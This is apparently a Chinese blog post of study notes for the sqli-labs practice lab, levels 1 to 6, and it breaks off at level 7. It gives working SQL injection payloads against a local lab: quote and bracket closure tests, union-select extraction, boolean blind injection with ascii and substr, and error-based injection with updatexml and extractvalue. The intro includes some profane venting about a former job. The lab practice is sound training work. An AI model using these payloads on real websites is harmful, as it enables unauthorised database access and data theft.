sqli-lib通关笔记
因为好久都没有联系过SQL注入了,打算重新拾起渗透方向的能力,去他妈的运维,老子才不要做运维,被傻逼公司给骗了,当了一年的运维,白白浪费了一年。
第一关
先查看一下代码:

真正的关于注入的核心语句就只有中间的select查询语句,一是先看是什么闭合,第二再看有没有过滤
没有任何的过滤,然后是单引号闭合。
构建注入语句:1' and 1=2 -- qwe

发现结果报错,说明该已经正确闭合,接下来就是常规操作
1' order by 3 -- qwe
1' union select 1,2,3 -- qwe
-1' union select 1,database(),3 -- qwe
第二关
很简单的数字类型的注入
?id=1 and 1=2
第三关
单引号括号注入
?id=1') and 1=2 -- qwe
第四关
双引号括号注入
1") and 1=2 -- qwe
第五关
布尔盲注

不会查出我们具体想要的数据,只会显示True OR False
思路就是先根据回显出的布尔类型的数值,然后找到闭合,然后通过爆破找到想要的内容
单引号闭合 id=1' and 1=2 -- qwe
就不会有任何回显,目的是要让页面的回显发生变化
127.0.0.1/sqli-labs-master/Less-5/?id=1' and ascii(substr((select database()),1,1))>100 -- qwe
先用子查询查出database数据库的名称,然后用截取的函数将这个数据库进行截取,先从第1个截取长度为1,然后对该字符进行ascii编码,最后进行比较,如果大于该数就会有回显
还可以使用报错注入:
1、updatexml()
updatexml(1,0x7e,1) 第二个字符处插入特殊字符后会进行报错,当然是在页面能回显(mysql_error)的前提下
所以可以使用concat将0x7e和要查询的字符链接起来
?id=1' and updatexml(1,concat(0x7e,database()),1) -- qwe
就可以将数据库的名称查询出来
2、extractvalue(目标xml文档,xml路径)
?id=1' and extractvalue(1,concat(0x7e,(select database()))) -- qwe
第六关
和第五关一样,不过是双引号闭合
第七关
 
                    
                     
                    
                 
                    
                 
                
            
         
 
         浙公网安备 33010602011771号
浙公网安备 33010602011771号